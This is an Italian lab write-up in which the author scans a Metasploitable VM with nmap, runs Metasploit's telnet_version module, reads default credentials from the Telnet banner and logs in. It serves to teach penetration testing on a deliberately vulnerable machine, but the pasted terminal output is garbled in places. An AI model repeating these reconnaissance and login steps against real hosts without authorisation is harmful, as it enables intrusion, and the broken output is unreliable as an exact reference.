## Utilizzo Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet version sulla macchina Metasploitable.

Telnet è un servizio situato sulla porta 23, che permette l'accesso remoto NON crittografato

Come prima cosa utilizzo NMAP sul terminale di Kali per vedere le porte e i servizi aperti su Metasploitable. Noto che la porta 23 è aperta.

```
-(kali⊕kali)-[~]
 -$ nmap -sV 192.168.1.54
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-23 03:42 EST
Nmap scan report for 192.168.1.54
Host is up (0.00036s latency).
Not shown: 977 closed tcp ports (conn-refused)
         STATE SERVICE VERSION open ftp vsftpd 2.3.4
PORT
21/tcp
        open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
open telnet Linux telnetd
22/tcp
23/tcp
                          Postfix smtpd
25/tcp open smtp
                         ISC BIND 9.4.2
53/tcp open domain
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open tcpwrapped
```

Successivamente sul root di Kali apro Metasploit. Cerco l'exploit di telnet del modulo ausiliare

```
msf6 > search telnet auxiliary
 Matching Modules
                                                                                                                                                                     Disclosure Dat
                Name
                auxiliary/server/capture/telnet
 ation Capture: Telnet

1 auxiliary/scanner/telnet/brocade_enable_login
nable Login Check Scanner
  2 auxiliary/dos/cisco/ios_telnet_rocem
Telnet Denial of Service
                                                                                                                                                                     2017-03-17
 3 auxiliary/admin/http/dlink_dir_300_600_exec_noauth R-600 / DIR-300 Unauthenticated Remote Command Execution
                                                                                                                                                                     2013-02-04
4 auxiliary/scanner/ssh/juniper_backdoor

SH Backdoor Scanner
5 auxiliary/scanner/telnet/lantronix_telnet_password

Telnet Password Recovery
6 auxiliary/scanner/telnet/lantronix_telnet_version

Telnet Service Banner Detection
7 auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof
2010-12-21

IIS FTP Server Encoded Response Overflow Trigger
8 auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass
9 auxiliary/admin/http/netgear_r6700_pass_reset
2020-06-15

6700v3 Unauthenticated LAN Admin Password Reset
10 auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce
2021-04-21

7000 backup.cgi Heap Overflow RCE
11 auxiliary/scanner/telnet/telnet_ruggedcom
                  auxiliary/scanner/ssh/juniper_backdoor
                                                                                                                                                                     2015-12-20
   11 auxiliary/scanner/telnet/telnet_ruggedcom
Telnet Password Generator
12 auxiliary/scanner/telnet/satel_cmd_exec
                                                                                                                                                                      2017-04-07
 ria SenNet Data Logger and Electricity Meters Command Injection Vulnerability
13 auxiliary/scanner/telnet/telnet_login
 gin Check Scanner
        14 auxiliary/scanner/telnet/telnet_version
 rvice Banner Detection
 15 auxiliary/scanner/telnet/telnet_encrypt_overflow rvice Encryption Key ID Overflow Detection
```

Nel mio caso uso il 14, e con il comando show options noto che c'è bisogno dell'ip della vittima. Setto l'ip della vittima (nel mio caso 192.168.1.54). Rifaccio show option per vedere se l'ip della vittima è stato memorizzato. Dopodichè digiterò il comando exploit che inizierà l'attacco. Vediamo che come output ci vengono fornite le credenziali di accesso al servizio telnet.

```
msf6 > use 14
msf6 auxiliary(
Module options (auxiliary/scanner/telnet/telnet_version):
  Name
             Current Setting Required Description
   PASSWORD
                                        The password for the specified username
                              no
   RHOSTS
                              yes
                                        The target host(s), see https://docs.metasploit.co
                                        t/basics/using-metasploit.html
   RPORT
                                        The target port (TCP)
             23
                              yes
                                        The number of concurrent threads (max one per host
   THREADS
             1
                              yes
   TIMEOUT
                                        Timeout for the Telnet probe
             30
                              yes
  USERNAME
                                        The username to authenticate as
                              no
View the full module info with the info, or info -d command.
                                    version) > set rhosts 192.168.1.54
msf6 auxiliary(
rhosts ⇒ 192.168.1.54
                       <u>almet/telnet_version</u>) > show options
msf6 auxiliary(s
Module options (auxiliary/scanner/telnet/telnet_version):
   Name
             Current Setting Required Description
   PASSWORD
                                        The password for the specified username
                              no
   RHOSTS
             192.168.1.54
                                        The target host(s), see https://docs.metasploit.co
                             yes
                                        t/basics/using-metasploit.html
  RPORT
             23
                              yes
                                        The target port (TCP)
   THREADS
                                        The number of concurrent threads (max one per host
                              ves
   TIMEOUT
             30
                              yes
                                        Timeout for the Telnet probe
  USERNAME
                                       The username to authenticate as
                              no
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/telnet/telnet_version) > exploit
[+] 192.168.1.54:23
                          - 192.168.1.54:23 TELNET
                               ) |\x0a| | | |
                                         \x0a\x0a\x0aWarning: Never expose this VM to an untru
tact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\
[*] 192.168.1.54:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
                                          on) >
msf6 auxiliary(
```

Per verificare che le credenziali siano corrette, avvio telnet sull'ip di Metasploitable. Qui mi verranno chieste le credenziali per accedere. Utilizzo quelle fornitomi precedentemente dall'output di Metasploit e noto che le credenziali sono corrette, in quanto sono riuscito ad accedere su Metasploitable.

```
-(kali⊕kali)-[~]
 -$ telnet 192.168.1.54
Trying 192.168.1.54 ...
Connected to 192.168.1.54.
Escape character is '^]'.
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login: msfadmin
Password:
Last login: Tue Jan 23 03:04:22 EST 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```